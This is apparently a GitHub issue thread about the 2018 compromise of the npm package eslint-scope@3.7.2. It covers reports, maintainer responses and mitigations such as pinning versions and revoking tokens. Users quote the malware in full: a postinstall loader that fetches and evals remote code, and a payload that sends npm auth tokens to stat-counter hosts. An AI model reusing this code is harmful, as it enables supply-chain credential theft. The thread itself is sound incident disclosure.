New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Virus in eslint-scope? #39

Closed
pronebird opened this Issue Jul 12, 2018 · 92 comments

Comments

Projects
None yet
@pronebird

pronebird commented Jul 12, 2018

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened:
#39 (comment)

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See eslint/eslint#10600 for more information.

In the meantime

  1. Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json
  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

  1. Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.

  2. Revoke your NPM token as suggested in the comment below #39 (comment). You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

@eslint eslint bot added the triage label Jul 12, 2018

@buhichan

This comment has been minimized.

buhichan commented Jul 12, 2018

+1
what the heck is going on

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

Thanks for the issue!

Latest should be 4.0.0. I highly recommend installing 4.0.0 directly while we figure out what's going on and unpublish 3.7.2 (and tag 4.0.0 as latest again).

I'm checking our Jenkins server logs, but as far as I know, none of us on the ESLint team would have published this. It's possible some npm credentials got compromised.

Thanks again for bringing this to our attention.

@pronebird

This comment has been minimized.

pronebird commented Jul 12, 2018

Yeah it's likely that NPM credentials has been stolen. Also, I suggested to the NPM team to double check with Github repository to make sure that no untagged releases happen. This should at least limit a damage in cases when only NPM account has been stolen.

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

I've confirmed that our Jenkins server did not do this. So at least that is probably not compromised.

@pronebird

This comment has been minimized.

pronebird commented Jul 12, 2018

babel-eslint depends on ~3.7.1 which immediately makes it pull the vulnerable 3.7.2

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

It might be a good idea to pin the dependency while we work on unpublishing. We have no plans to publish any 3.7.x so you could safely pin at 3.7.1.

@pronebird

This comment has been minimized.

pronebird commented Jul 12, 2018

I pinged babel-eslint team to update to 4.0.0 or alternatively they can fix the version in package.json. Meanwhile I've pinned the version to 3.7.1 in my package.json.

"resolutions": {
  "eslint-scope": "3.7.1"
}

The issue is that we have a boilerplate repo without a .lock file. We opt-in for not having it to prevent deps going stale. So the malicious release is being pulled by default, but resolutions seem to do the trick.

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

I've sent a message to npm's support asking for help in identifying what happened.

I do not have publish access to eslint-scope so I can't unpublish it directly. I've pinged one of our TSC members who does have that access. So hopefully we'll be able to unpublish as soon as he gets the message and has time to do it.

In the meanwhile, in case it wasn't clear from earlier in this thread: do not use eslint-scope@3.7.2 as it is compromised. Use 3.7.1 or 4.0.0 instead. Thanks!

@aSapien

This comment has been minimized.

aSapien commented Jul 12, 2018

Is it possible to publish a clean 3.7.3 version to avoid infecting projects that are configured to auto-bump minor semvers?

@yvele

This comment has been minimized.

yvele commented Jul 12, 2018

Hey I have a strange behaviour with eslint-scope@3.7.2 postinstall, I cannot install it

> eslint-scope@3.7.2 postinstall /Users/yves/runtime/node_modules/babel-eslint/node_modules/eslint-scope
> node ./lib/build.js

undefined:25
    https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+conte
                                                                                                                        ^^^^^

SyntaxError: Unexpected end of input
@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

@aSapien I think that's a reasonable suggestion. However, as I don't have publish access, I can neither publish 3.7.3 nor unpublish 3.7.2. Hopefully the folks who do have access will be online soonish and can work on this.

Thanks for your patience!

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

@yvele As noted elsewhere in the thread, 3.7.2 is compromised. Do not use it. Please install 3.7.1 instead. Thanks!

@yvele

This comment has been minimized.

yvele commented Jul 12, 2018

@platinumazure yep I've seen that but I'm using babel-eslint... an issue is already open babel/babel-eslint#656

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

@yvele Once we unpublish, you should be able to do a fresh reinstall (delete node_modules and run npm install) and get a safe version. In the meantime you could also use npm install eslint-scope@3.7.1 to force that version to be used by babel-eslint. Hope this helps.

@byCedric

This comment has been minimized.

byCedric commented Jul 12, 2018

Is it possible to "republish" 3.7.1 as 3.7.3 so all of the automated processes will use the uncompromised version? Seems like a good idea until this is sorted out.

Nvm, @aSapien already suggested this. Sorry, was stressing a bit because of this!

@yvele

This comment has been minimized.

yvele commented Jul 12, 2018

Basically what's are the effets of the infected package?

This is a hacked version which steals the npm credentials and sends them to remote server.

@pronebird Please update the issue first post with the effet and advise people to immediately change their npm tokens

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

@manjotnms

This comment has been minimized.

manjotnms commented Jul 12, 2018

Is this problem specific to Linux environment? I am able to install in windows without any problem

eslint-scope@3.7.2 postinstall D:\xx\xxx\node_modules\eslint-scope
node ./lib/build.js

@byCedric

This comment has been minimized.

byCedric commented Jul 12, 2018

@manjotnms, please renew your NPM credentials. Installing it successfully means that the attacker's script also successfully finished. In our Linux CI environment it failed luckily, but that doesn't mean it's safe...

@selbekk

This comment has been minimized.

selbekk commented Jul 12, 2018

The pastebin in question has been removed / emptied out now.

For later reference - this is what was contained in said pastebin:

try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";
 
if (fs.existsSync(npmrc)){
     
      content=fs.readFileSync(npmrc,{encoding:'utf8'});
      content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
      var https1=require('https');
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
      https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
    }
}catch(e){}

As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header.

Anyhow, it's removed now, so any new projects won't be contaminated (edit: at least until somebody re-adds the code)

@manjotnms

This comment has been minimized.

manjotnms commented Jul 12, 2018

@byCedric : I am using eslint 4.7.2, which has a dependency on eslint-scope 3.7.2. I suppose in this case eslint has to renew its NPM credentials.

@byCedric

This comment has been minimized.

byCedric commented Jul 12, 2018

@manjotnms, yes exactly, I would recommend you do the same 😄

@TimvanScherpenzeel

This comment has been minimized.

TimvanScherpenzeel commented Jul 12, 2018

Make sure to change your password and enable 2FA.

Check your current token in ~/.npmrc.

Log into npm using npm login

Revoke the token using npm token delete
https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens

@pronebird

This comment has been minimized.

pronebird commented Jul 12, 2018

@yvele I've updated the issue with some suggestions on how to circumvent the update to the malicious 3.7.2 and how to revoke the npm account token (comment by @TimvanScherpenzeel )

@rufushonour

This comment has been minimized.

rufushonour commented Jul 12, 2018

Looks like its been unpublished :)

@cusspvz

This comment has been minimized.

cusspvz commented Jul 12, 2018

Solved in about 1h... You guys must wear capes. <3

SamGodwin2 added a commit to ONSdigital/eq-author that referenced this issue Jul 12, 2018

SamGodwin2 added a commit to ONSdigital/eq-author-api that referenced this issue Jul 12, 2018

@VincentVW VincentVW referenced this issue Jul 12, 2018

Merged

A big revamp #84

SamGodwin2 added a commit to ONSdigital/eq-publisher that referenced this issue Jul 12, 2018

@ArcanisCz

This comment has been minimized.

ArcanisCz commented Jul 12, 2018

@Mikotochan

The other ridiculous thing with npm is that you can have different source in your git repo and ship a totally different code via npm.

You can in Maven too. And you can even compile different C++ executable than you put in your git. Thats is the reason, we use signatures to verify integrity and why reproducible build/compile matters.

@x3ro

This comment has been minimized.

x3ro commented Jul 12, 2018

For anyone curious about the signing situation, the NPM maintainers actively rejected package signing in 2015.

@shaunwarman

This comment has been minimized.

shaunwarman commented Jul 12, 2018

npm token revoke <token>

@paulirwin

This comment has been minimized.

paulirwin commented Jul 12, 2018

Some of the comments on here re: package signing are combative, unproductive, and off-topic. If you have concerns about npm's approach to package management, please share them at https://github.com/npm/npm/issues

@kelset

This comment has been minimized.

kelset commented Jul 12, 2018

I suggest that maintainers lock this issue so that they only will be able to post and update those subscribed to the issue.

@nevir

This comment has been minimized.

nevir commented Jul 12, 2018

Do we think this is confined to eslint-scope, or should we be concerned about most packages under the eslint umbrella?

@eslint eslint locked and limited conversation to collaborators Jul 12, 2018

@hzoo

This comment has been minimized.

Member

hzoo commented Jul 12, 2018

@paulirwin, @kelset, yep I have access so did it now. Because there's a lot of sources linking to this issue, we want to keep noise to the minimum, and promise that we will update the thread with more information as we get it.

@kaicataldo kaicataldo closed this Jul 12, 2018

@ilyavolodin

This comment has been minimized.

Member

ilyavolodin commented Jul 12, 2018

Update: We went through every package under ESLint organization and verified that the only package that was published with this issue was eslint-scope.

Edit: It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

@kaicataldo kaicataldo reopened this Jul 12, 2018

@kaicataldo

This comment has been minimized.

Member

kaicataldo commented Jul 12, 2018

Sorry - I didn't mean to close this!

@kaicataldo kaicataldo added bug and removed triage labels Jul 12, 2018

@kaicataldo

This comment has been minimized.

Member

kaicataldo commented Jul 12, 2018

It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

@Aladdin-ADD

This comment has been minimized.

Member

Aladdin-ADD commented Jul 12, 2018

Scanning script to find infected @3.7.2 installations: https://gist.github.com/brownstein/8aaade4953807f512d416da0c6a5a5f6

(refs: #40 thanks @brownstein)

@kaicataldo

This comment has been minimized.

Member

kaicataldo commented Jul 12, 2018

@kaicataldo kaicataldo added security and removed bug labels Jul 12, 2018

@platinumazure

This comment has been minimized.

Member

platinumazure commented Jul 12, 2018

We're working on publishing eslint-scope@3.7.3 and eslint-config-eslint@5.0.3. Apologies for the confusion as earlier I had suggested we might not publish new patch versions.

Edit: Decision was made not to publish a new eslint-config-eslint due to much reduced usage and much smaller time vector.

@not-an-aardvark

This comment has been minimized.

Member

not-an-aardvark commented Jul 12, 2018

eslint-scope@3.7.3 has been published to npm. Aside from the version number, this is exactly the same package as eslint-scope@3.7.1. This should allow users with an npm proxy who already have 3.7.2 cached to avoid downloading the malicious version when specifying a version range like ~3.7.

@kaicataldo

This comment has been minimized.

Member

kaicataldo commented Jul 12, 2018

This has now been resolved. Please find a write up of the incident on our blog.

The ESLint team apologizes for allowing this to happen. Thanks to the community for making us aware of the issue so quickly and for providing information.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.